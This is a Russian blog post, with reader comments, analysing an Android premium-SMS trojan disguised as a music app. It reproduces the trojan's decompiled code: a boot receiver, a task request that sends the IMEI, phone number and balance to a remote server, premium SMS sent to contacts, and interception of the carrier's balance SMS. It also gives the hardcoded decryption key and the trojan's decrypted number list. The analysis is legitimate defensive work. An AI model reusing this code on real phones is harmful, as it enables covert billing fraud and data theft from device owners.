Пользователь
0,0
рейтинг
5 декабря 2012 в 14:53

Разработка → История реверс-инжиниринга одного SMS трояна для Android из песочницы

image
Все началось с жалоб одного моего доброго друга, по совместительству владельца устройства на Android. Он жаловался, что оператор постоянно снимает с него деньги неизвестно за что. После звонков оператору выяснилось, что средства снимали за премиум SMS, которые мой друг якобы отправлял. Я сам неоднократно нарывался в Интернетах на подозрительные сайты, которые предлагают скачать apk с игрой/программой/Live Wallpaper, при установке которого выясняется, что это всего лишь программа, которая отправляет SMS на премиум номера. Но в этом случае если нажал кнопку, то «сам дурак», потому что правила в таких программках явно говорят, что последует отправка SMS на платные номера, да и ссылки они в итоге предоставляют на реальные программы.

Так или иначе, ко мне закралось подозрение, что здесь ситуация тоже завязана на таком роде деятельности, и я взялся разобраться, куда же все-таки утекают денежки.


Безопасная установка приложения


Начнем с того, что мой друг запамятовал, откуда он скачивал последние программы из сети на свой девайс, из него удалось вытрясти только следующую ссылку mobisity.ru (Осторожно, сайт распространяет вредоносное ПО!). Покопавшись на сайте, я вытащил оттуда APK.
Теперь, когда предыстория известна читателю, можно перейти к самому интересному — анализу приложения. Начнем с безопасной установки приложения, а именно, установим его на эмулятор и посмотрим как оно действует.

Запускаем штатный эмулятор Android, желательно версии 2.2 или выше (на более старые версии приложение не устанавливается), для этого запускаем эмулятор через AVD (Android Virtual Device Manager) и выполняем команду
adb install mp3.apk

В списке приложений появляется наблюдаем нашего трояна, под именем Music и с соответствующей иконкой.



Запускаем и наблюдаем процесс какой-то «установки», после которой нам предлагается нажать кнопку «далее»



Если нажать кнопку хардварную кнопку Menu, то можно будет открыть правила и прочесть, что после нажатия кнопки пойдет отправка SMS на платные номера. Ну и ладно, значит, пока что это из разряда «сам дурак». Так куда же постоянно утекают средства? Пока не понятно, исследуем дальше.

Анализ кода


Для анализа я использовал следующие инструменты: jd-gui, dex2jar и apktool.

Первым делом разберем APK при помощи apktool и посмотрим на структуру проекта. Для этого необходимо выполнить команду
apktool d mp3.apk
Анализ внутренней структуры проекта ничего интересного не дает, за исключением того, что в папке assets лежит непонятный файл data.xml, видимо он хранит какие-то данные, но зашифрован, так как, на первый взгляд, данные не поддаются простому анализу.

Ну что же, остается только смотреть код, для этого используем dex2jar. Вытаскиваем при помощи своего любимого архиватора файл из APK с названием classes.dex, и при помощи dex2jar преобразовываем его в jar файл. Полученный jar нужно открыть в программе jd-gui. Всё, теперь у нас есть весь (ну или почти весь) код приложения:



Прежде чем сломя голову бросаться анализировать код, я решил посмотреть файл AndroidManifest.xml, как правило из него можно вытащить много полезной информации о приложении.

Полный листинг файла AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="net.droid.installer"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.READ_LOGS" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <application android:label="@string/app_name" android:icon="@drawable/icon">
        <activity android:theme="@android:style/Theme.NoTitleBar" android:label="@string/app_name" android:name=".InstallActivity" android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation">
            <intent-filter>
                <action android:name="android.intent.action.CREATE_SHORTCUT" />
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".RuleActivity" android:screenOrientation="portrait" />
        <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".LoaderActivity" android:screenOrientation="portrait" />
        <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".StartActivity" />
        <receiver android:name=".StartupReceiver" android:enabled="true" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.QUICKBOOT_POWERON" />
            </intent-filter>
        </receiver>
        <service android:name=".UpdateService" android:enabled="true" />
        <receiver android:name=".UpdateReceiver" />
        <receiver android:name=".MessageReceiver">
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
        <receiver android:name=".Scanner">
            <intent-filter>
                <action android:name="android.intent.action.PACKAGE_ADDED" />
                <action android:name="android.intent.action.PACKAGE_REPLACED" />
                <action android:name="android.intent.action.PACKAGE_REPLACED" />
                <data android:scheme="package" />
            </intent-filter>
        </receiver>
        <service android:name=".USSDDumbExtendedNetworkService">
            <intent-filter>
                <action android:name="com.android.ussd.IExtendedNetworkService" />
                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
        </service>
    </application>
</manifest>


Просмотрев файл, я заинтересовался BroadcastReceiver'ом с именем StartupReceiver — очевидно, что он запускает какой-то код при загрузке системы, на это указывают заявленные intent-filters.

Код StartupReceiver
package net.droid.installer;

import a;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.RemoteException;
import android.preference.PreferenceManager;
import android.telephony.TelephonyManager;

public class StartupReceiver extends BroadcastReceiver
{
  private static ServiceConnection d = null;
  boolean a = false;
  Context b;
  private a c = null;

  public void onReceive(Context paramContext, Intent paramIntent)
  {
    this.b = paramContext;
    Object localObject = ((TelephonyManager)paramContext.getSystemService("phone")).getSimOperatorName();
    PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putBoolean("wasreload", true).commit();
    try
    {
      if ((((TelephonyManager)this.b.getSystemService("phone")).getSimOperator().toString().equals("25099")) || (((String)localObject).toLowerCase().contains("tele")) || (((String)localObject).toLowerCase().contains("����")))
        d = new j(this);
    }
    catch (Exception localException1)
    {
      try
      {
        paramContext.bindService(new Intent("com.android.ussd.IExtendedNetworkService"), d, 1);
        label120: localObject = this.c;
        if (localObject != null);
        try
        {
          this.c.a(":ON;)");
          while (true)
          {
            label141: paramContext.startService(new Intent(paramContext, UpdateService.class));
            return;
            localException1;
          }
        }
        catch (RemoteException localRemoteException)
        {
          break label141;
        }
      }
      catch (Exception localException2)
      {
        break label120;
      }
    }
  }
}


По всей видимости, в случае необходимости, здесь производится биндинг с системным сервисом, который обеспечивает работу USSD запросов. Логично было бы предположить, что троян таким образом отслеживает баланс пользователя.
Кроме этого, в коде видно, что запускается сервис UpdateService.

Код UpdateService
package net.droid.installer;

import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.IBinder;
import android.preference.PreferenceManager;

public class UpdateService extends Service
{
  static Context a;
  static String b = "http://mxclick.com/";
  static int c = 60;
  static SharedPreferences d;
  static String e = b;
  static boolean f = false;

  public static void a()
  {
    SharedPreferences.Editor localEditor = d.edit();
    localEditor.putBoolean("appblocked", true);
    localEditor.commit();
  }

  public static void a(String paramString)
  {
    SharedPreferences.Editor localEditor = d.edit();
    localEditor.putString(a.getString(2130968584), paramString);
    localEditor.commit();
  }

  public IBinder onBind(Intent paramIntent)
  {
    return null;
  }

  public void onCreate()
  {
  }

  public void onDestroy()
  {
    super.onDestroy();
  }

  public void onStart(Intent paramIntent, int paramInt)
  {
    super.onStart(paramIntent, paramInt);
    a = this;
    Object localObject = PreferenceManager.getDefaultSharedPreferences(this);
    d = (SharedPreferences)localObject;
    e = ((SharedPreferences)localObject).getString(getString(2130968584), b);
    localObject = (AlarmManager)getSystemService("alarm");
    PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(this, UpdateReceiver.class), 0);
    ((AlarmManager)localObject).setRepeating(0, System.currentTimeMillis(), 60000 * c, localPendingIntent);
  }

  public boolean onUnbind(Intent paramIntent)
  {
    return super.onUnbind(paramIntent);
  }
}



Очевидно, что данный сервис при старте устанавливает при помощи планировщика AlarmManager запуск Intent, который является сигналом к запуску BroadcastReceiver'a с именем UpdateReceiver, а если точнее, то его метода — onReceive.

Код UpdateReceiver
package net.droid.installer;

import a;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.net.Uri;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
import android.preference.PreferenceManager;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import java.util.ArrayList;

public class UpdateReceiver extends BroadcastReceiver
{
  static boolean i = false;
  private static ServiceConnection l = null;
  Context a;
  SharedPreferences b;
  boolean c = false;
  String d = "";
  String e = "";
  String f = "";
  String g = "";
  String h = "";
  ArrayList j = new ArrayList();
  private final a k = null;

  private String a()
  {
    return ((TelephonyManager)this.a.getSystemService("phone")).getSimOperator().toString();
  }

  private void a(String paramString1, String paramString2)
  {
    PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_SENT"), 0);
    PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_DELIVERED"), 0);
    SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, localPendingIntent1, localPendingIntent2);
  }

  public void onReceive(Context paramContext, Intent paramIntent)
  {
    this.a = paramContext;
    this.b = PreferenceManager.getDefaultSharedPreferences(this.a);
    PowerManager.WakeLock localWakeLock = ((PowerManager)paramContext.getSystemService("power")).newWakeLock(26, "ALARMSERVICE");
    localWakeLock.acquire();
    Object localObject = ((TelephonyManager)this.a.getSystemService("phone")).getSimOperatorName();
    try
    {
      if (a().equals("25001"))
        a("111", "11");
      while (true)
      {
        if (!PreferenceManager.getDefaultSharedPreferences(paramContext).getBoolean("appblocked", false))
        {
          localObject = PreferenceManager.getDefaultSharedPreferences(this.a);
          SharedPreferences.Editor localEditor = ((SharedPreferences)localObject).edit();
          if (((SharedPreferences)localObject).getBoolean("new", true))
          {
            localEditor.putBoolean("new", false);
            localEditor.putLong("time", 1200000L + System.currentTimeMillis());
            localEditor.commit();
          }
          if (System.currentTimeMillis() > ((SharedPreferences)localObject).getLong("time", 0L))
            new m(this).execute(new String[0]);
        }
        label191: localWakeLock.release();
        return;
        if (a().equals("25002"))
        {
          a("000100", "b");
          continue;
        }
        if ((a().equals("25099")) && (PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false)))
        {
          localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*102" + Uri.encode("#")));
          ((Intent)localObject).addFlags(268435456);
          paramContext.startActivity((Intent)localObject);
          continue;
        }
        if (((!((String)localObject).toLowerCase().contains("tele")) && (!((String)localObject).toLowerCase().contains("����"))) || (!PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false)))
          continue;
        localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*105" + Uri.encode("#")));
        ((Intent)localObject).addFlags(268435456);
        paramContext.startActivity((Intent)localObject);
      }
    }
    catch (Exception localException)
    {
      break label191;
    }
  }
}



Здесь мы видим, что троян проверяет текущий баланс пользователя, прежде чем отправлять SMS. И кроме этого, он запускает AsyncTask с именем m, который отправляет запрос к скрипту mxclick.com/getTask.php. Скрипт по всей видимости отдает нужный номер, на который будет осуществлена отправка тех или иных SMS. Ну и в итоге UpdateReceiver выполняет отправку SMS, тем самым осушая баланс бедного пользователя.

Код наследника AsyncTask - класса m
package net.droid.installer;

import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Build.VERSION;
import android.preference.PreferenceManager;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.Contacts;
import android.telephony.TelephonyManager;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URI;
import java.net.URL;
import java.util.ArrayList;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONObject;

final class m extends AsyncTask
{
  m(UpdateReceiver paramUpdateReceiver)
  {
  }

  private String a()
  {
    String str1;
    try
    {
      Object localObject7 = (TelephonyManager)this.a.a.getSystemService("phone");
      Object localObject2 = ((TelephonyManager)localObject7).getDeviceId();
      Object localObject4 = ((TelephonyManager)localObject7).getSimCountryIso();
      Object localObject1 = new DefaultHttpClient();
      Object localObject5 = ((TelephonyManager)localObject7).getLine1Number();
      Object localObject3 = ((TelephonyManager)localObject7).getNetworkOperatorName();
      String str3 = ((TelephonyManager)localObject7).getNetworkOperator();
      String str2 = Integer.toString(Build.VERSION.SDK_INT);
      localObject7 = Build.MODEL;
      localObject2 = new URL(UpdateService.e + "getTask.php?imei=" + (String)localObject2 + "&balance=" + PreferenceManager.getDefaultSharedPreferences(this.a.a).getString("balance", "0") + "&country=" + (String)localObject4 + "&phone=" + (String)localObject5 + "&op=" + (String)localObject3 + "&mnc=" + str3.substring(3) + "&mcc=" + str3.substring(0, 3) + "&model=" + (String)localObject7 + "&os=" + str2);
      localObject2 = new URI(((URL)localObject2).getProtocol(), ((URL)localObject2).getUserInfo(), ((URL)localObject2).getHost(), ((URL)localObject2).getPort(), ((URL)localObject2).getPath(), ((URL)localObject2).getQuery(), ((URL)localObject2).getRef()).toURL();
      ((URL)localObject2).toString();
      localObject1 = ((HttpClient)localObject1).execute(new HttpGet(((URL)localObject2).toString())).getEntity().getContent();
      localObject4 = new BufferedReader(new InputStreamReader((InputStream)localObject1, "utf-8"), 8);
      localObject2 = new StringBuilder();
      while (true)
      {
        localObject3 = ((BufferedReader)localObject4).readLine();
        if (localObject3 == null)
          break;
        ((StringBuilder)localObject2).append((String)localObject3);
      }
      ((StringBuilder)localObject2).toString();
      ((InputStream)localObject1).close();
      ((BufferedReader)localObject4).close();
      while (true)
      {
        try
        {
          localObject2 = new JSONArray(((StringBuilder)localObject2).toString());
          int i = 0;
          if (i >= ((JSONArray)localObject2).length())
            break;
          localObject3 = ((JSONArray)localObject2).getJSONObject(i);
          localObject4 = ((JSONObject)localObject3).getString("type");
          if (!((String)localObject4).equals("1"))
            continue;
          UpdateService.f = true;
          UpdateReceiver.a(this.a, ((JSONObject)localObject3).getString("to_number"), ((JSONObject)localObject3).getString("message"));
          localObject5 = new n(this.a);
          localObject7 = new String[1];
          localObject7[0] = "1";
          ((n)localObject5).execute(localObject7);
          if (!((String)localObject4).equals("2"))
            break label742;
          localObject5 = this.a.a.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
          if (!((Cursor)localObject5).moveToNext())
            break label650;
          localObject7 = ((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("_id"));
          if (((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("has_phone_number")).equalsIgnoreCase("1"))
          {
            str2 = "true";
            if (!Boolean.parseBoolean(str2))
              continue;
            localObject7 = this.a.a.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + (String)localObject7, null, null);
            if (!((Cursor)localObject7).moveToNext())
              break label640;
            this.a.j.add(((Cursor)localObject7).getString(((Cursor)localObject7).getColumnIndex("data1")));
            continue;
          }
        }
        catch (Exception localException1)
        {
          str1 = "-100";
        }
        str2 = "false";
        continue;
        label640: ((Cursor)localObject7).close();
        continue;
        label650: ((Cursor)localObject5).close();
        for (int j = 0; j < this.a.j.size(); j++)
          UpdateReceiver.a(this.a, (String)this.a.j.get(j), ((JSONObject)localObject3).getString("message"));
        localObject7 = new n(this.a);
        Object localObject6 = new String[1];
        localObject6[0] = "2";
        ((n)localObject7).execute(localObject6);
        label742: if (((String)localObject4).equals("3"))
        {
          localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("open_url")));
          ((Intent)localObject6).addFlags(268435456);
          this.a.a.startActivity((Intent)localObject6);
          localObject7 = new n(this.a);
          localObject6 = new String[1];
          localObject6[0] = "3";
          ((n)localObject7).execute(localObject6);
        }
        if (((String)localObject4).equals("4"))
        {
          UpdateService.a(((JSONObject)localObject3).getString("server_url"));
          localObject7 = new n(this.a);
          localObject6 = new String[1];
          localObject6[0] = "4";
          ((n)localObject7).execute(localObject6);
        }
        if (((String)localObject4).equals("5"))
        {
          localObject4 = new Notification(2130837504, ((JSONObject)localObject3).getString("title"), System.currentTimeMillis());
          localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("urlop")));
          localObject6 = PendingIntent.getActivity(this.a.a, 0, (Intent)localObject6, 0);
          localObject7 = (NotificationManager)this.a.a.getSystemService("notification");
          ((Notification)localObject4).setLatestEventInfo(this.a.a, ((JSONObject)localObject3).getString("title"), ((JSONObject)localObject3).getString("message"), (PendingIntent)localObject6);
          ((Notification)localObject4).defaults = (0x1 | ((Notification)localObject4).defaults);
          ((Notification)localObject4).flags = (0x10 | ((Notification)localObject4).flags);
          ((NotificationManager)localObject7).notify(0, (Notification)localObject4);
        }
        str1++;
      }
    }
    catch (Exception localException2)
    {
      str1 = null;
    }
    return (String)(String)(String)(String)(String)(String)(String)str1;
  }
}



Ну вот, собственно говоря и всё — дальше код можно не разбирать, мы увидели, что опустошение баланса пользователя достигается именно отправкой SMS на премиум номера. Однако, я наткнулся еще на пару интересных моментов, когда просматривал код трояна. Например, входящие SMS с номера 111, который является сервисным номером МТС, блокируются — таким образом, юзер вообще ничего не слышит и не видит, когда его баланс постепенно уходит в минус.
Этим занимается класс MessageReceiver, вот его определение в AndroidManifest.xml

        <receiver android:name=".MessageReceiver">
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>


Видно, что ему установлен высокий приоритет, таким образом ему удается первым обработать входящие сообщения на девайс. Ну и внутри метода onReceive, мы видим, что если SMS идет с номера 111, то intent перехватывается, то есть broadcast сообщение обрывается на этом обработчике и не идет дальше к остальным приложениям.

Код MessageReceiver
package net.droid.installer;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.telephony.SmsMessage;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class MessageReceiver extends BroadcastReceiver
{
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    Object localObject = paramIntent.getExtras();
    if (localObject != null)
    {
      localObject = (Object[])((Bundle)localObject).get("pdus");
      SmsMessage[] arrayOfSmsMessage = new SmsMessage[localObject.length];
      int i = 0;
      try
      {
        while (i < arrayOfSmsMessage.length)
        {
          arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])localObject[i]);
          if ((arrayOfSmsMessage[i].getOriginatingAddress().contains("111")) || (arrayOfSmsMessage[i].getOriginatingAddress().contains("000100")))
          {
            Matcher localMatcher = Pattern.compile("-?\\d+").matcher(arrayOfSmsMessage[i].getDisplayMessageBody());
            if (localMatcher.find())
            {
              PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", localMatcher.group()).commit();
              if (arrayOfSmsMessage[i].getDisplayMessageBody().contains("�����"))
                PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", "-" + localMatcher.group()).commit();
              abortBroadcast();
            }
          }
          if (UpdateService.f)
          {
            abortBroadcast();
            UpdateService.f = false;
          }
          i++;
        }
      }
      catch (Exception localException)
      {
      }
    }
  }
}



Еще один интересный момент, который на самом деле позволяет сообществу заставить мошенников ответить за свои поступки — зашифрованная база, о которой я упоминал в начале поста. Во время просмотра кода было выяснено, что файл с номерами был зашифрован алгоритмом Blowfish в режиме ECB. Это симметричный алгоритм шифрования, с хорошим ключом на его взлом могли бы уйти годы, но… Разработчики трояна особо не парились:

public final String b(String paramString)
  {
    try
    {
      Object localObject2 = this.a.getAssets().open(paramString);
      Object localObject1 = new byte[((InputStream)localObject2).available()];
      ((InputStream)localObject2).read(localObject1);
      ((InputStream)localObject2).close();
      localObject2 = new SecretKeySpec("3gYX0W0GiIdT0E9y".getBytes(), a.a);
      Cipher localCipher = Cipher.getInstance("t/c/g".replace("t", a.a).replace("c", a.b).replace("g", a.c));
      localCipher.init(2, (Key)localObject2);
      localObject1 = new String(localCipher.doFinal(localObject1));
      return localObject1;
    }
    catch (Exception str)
    {
      while (true)
      {
        localException.printStackTrace();
        String str = "err";
      }
    }
  }
}


С известным ключом мне стоило только набросать пару строк на Яве, и файл был расшифрован:

Короткие номера, префиксы биллингов и другие настройки трояна
<oper>
	<number>
		<numr>8503,7202,7201,7201,7201</numr>
		<pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref>
		<mccmnc>25001</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7204</numr>
		<pref>1429015599 041 122 6030</pref>
		<mccmnc>25002</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>8503,7202,7201,7201,7201</numr>
		<pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref>
		<mccmnc>25099</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7202,7201,7201</numr>
		<pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref>
		<mccmnc>250</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7204,7204,7212</numr>
		<pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref>
		<mccmnc>25503</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>3303,3303,3303</numr>
		<pref>427242015599 041 122 6030,427242015599 041 122 6030,427242015599 041 122 6030</pref>
		<mccmnc>400</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7204,7204,7212</numr>
		<pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref>
		<mccmnc>25501</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7204,7204,7212</numr>
		<pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref>
		<mccmnc>25505</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>3336</numr>
		<pref>427242015599 041 122 6030</pref>
		<mccmnc>257</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
</oper>



Еще один момент — все USSD запросы проходят в фоновом режиме, то есть троян может сколько угодно проверять баланс пользователя, тот ничего не заподозрит. По всей видимости реализация фонового выполнения USSD запросов была скопирована разработчиками трояна с сайта commandus. В качестве домашнего задания читателям предлагается понять, почему была скопирована именно реализация с этого сайта и найти подтверждение тому в коде.

Заключение


Хотелось бы сказать, что разработка таких приложений является прямым нарушением закона РФ, а именно статей 159 и 273 УК РФ. Теперь у мошенников уже отмазаться не получится, так как средства с баланса снимаются не после нажатия абстрактной кнопки, где пользователь принимает на себя всю ответственность за последствия. Здесь баланс может опустошаться годами и пользователь может вообще ничего не заподозрить.

Мошенники, а таковыми по определению являются и контент-провайдеры номеров (потому что оказывают прямое содействие в получении прибыли незаконным или мошенническим путем) 8503, 7202, 7201, 7204, 7212, 3303, 3336 должны быть уголовно наказаны. Кстати, конкретных провайдеров для этих номеров можно посмотреть, например, на сайте Мегафона или Билайна. Дабы не быть голословным, привожу конкретные названия замешанных контент провайдеров, которым принадлежат данные номера: ИнкорМедиа ООО, СМС сервисы, ООО (Шутка дня), ООО Инвест Телеком и так далее.

Кроме этого, скорее всего какие-то данные о конкретных виновниках можно выцепить из URL, на который уходят запросы из трояна, а именно: mxclick.com/getTask.php. А вообще, заинтересованные читатели могут по возможности сами попробовать найти другие следы мошенников.

Лично я надеюсь, что глубокоуважаемые операторы Мегафон, Билайн, МТС, Теле2 и остальные примут серьезные меры по поводу контент-провайдеров, потому что они не проследили за использованием их номеров, и кто-то наконец докопается до настоящих виновников, которые разрабатывают и распространяют эти трояны и заставит их ответить по всей строгости закона.
@reverseengineer
карма
21,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Спецпроект

Самое читаемое Разработка

Комментарии (39)

  • +8
    Сомневаюсь, что будут приняты какие-то меры. В лучшем случае прикроют указанные номера до появления новых, денежные средства никому не вернут.

    По крайней мере, после того, как сами операторы без спроса включают платные услуги, переводят на дорогие тарифы (под предлогом, что стартый дешевый тариф больше не существует и с него всех переводят на тариф «по умолчанию»), веры в их порядочность не осталось. Только если станут их самих хорошенько наказывать за подобные случаи.
    • –1
      Насколько я могу судить, смысл как раз в том, что раньше подобный беспредел объяснялся тем, что пользователи правила не читают, прежде чем отправлять SMS. Поэтому даже номера никто не прикрывал. А тут уже явная malware-разработка — пользователь ничего не видит и не слышит, а деньги снимаются, причем ни о каких услугах даже речи не идет.

      Предполагаю, что по линии контент-провайдеров и данных из зашифрованной базы можно вычислить конкретных виновников.
      • +2
        Вы же понимаете, что пункт о правилах это всего лишь отговорка. Было бы желание, подобных сервисов не было бы. Не вижу причин, которые бы изменили отношение операторов, найдут другой повод. Или изобразят удивление и прикроют эти номера. А через неделю появится 20 новых. Тут нужен системный подход.

        P.S. Ну и тот факт, что в Android любое приложение может влезть в любое место системы и беспрепятственно хозяйничать там, удручает. Хотя там наверное, как минимум, при установке приложения запрашиваются разрешения на подобные действия?
        • +1
          В том то и дело что пользователь при установке видит что приложение будет отправлять премиум смс…
          Как можно вообще ставить такие приложения?
          • +1
            Как я понял из статьи, сведения о разрешениях спрятаны, и надо явно их вызывать:
            «Если нажать кнопку хардварную кнопку Menu, то можно будет открыть правила и прочесть, что после нажатия кнопки пойдет отправка SMS на платные номера. Ну и ладно, значит, пока что это из разряда «сам дурак».»

            Логичнее было бы всегда показывать модальное диалоговое окно со списком прав, которые пользователь делегирует приложению. И только если он нажмет «Да, я дурак, все равно установить приложение», продолжить установку. Иначе получается как с яндекс-баром, который пихают во все инсталляторы в пункт «Установка по-умолчанию (рекомендуется)».
            • 0
              Нет, вы не совсем меня поняли. Автор ставил программу через adb а не через установщик. При установке любой программы андроид запрашивает разрешение на действия программы. В данном случае при установке должно быть жирным шрифтом написано «приложение запрашивает разрешение на: — отправку премиум смс». И скрыть это не возможно.
              • 0
                Все всегда внимательно читают права и EULA, известный факт, да.
          • 0
            Что такое «при установке видит что приложение будет отправлять премиум смс»? Насколько я помню, там «премиум» от «не-премиум» не отличается — просто при установке пользователь видит что приложение будет отправлять смс…
            • +8
              • 0
                И где там «привилегированные»? Просто совершать звонки и послылать СМС от имени владельца. На любые номера.
                • +2
                  Всё верно. Зачем приложению Music посылать SMS или делать звонки?
                  Не стоит устанавливать такой «Music».
                  • 0
                    А зачем это же самое (судя по скриншоту выше) делать браузеру в общем и Опере в частности?
                    • +1
                      А кто сказал, что это подлинная Опера? Встречал пару-тройку зловредов с точно такой же иконкой.
                      • 0
                        На мобильных сайтах можно встретить ссылки вида <a href="tel:+79171234567">Позвонить сейчас</a>
                        При клике на такую ссылку вызывается звонилка.

                        Но зачем браузеру доступ к SMS — непонятно.
      • +5
        "- В нашей стране такие места обычно ограждают красными флажками.
        — А вы когда в СССР въезжали, красный флаг на границе видели?" ((с) старый анекдот)
    • 0
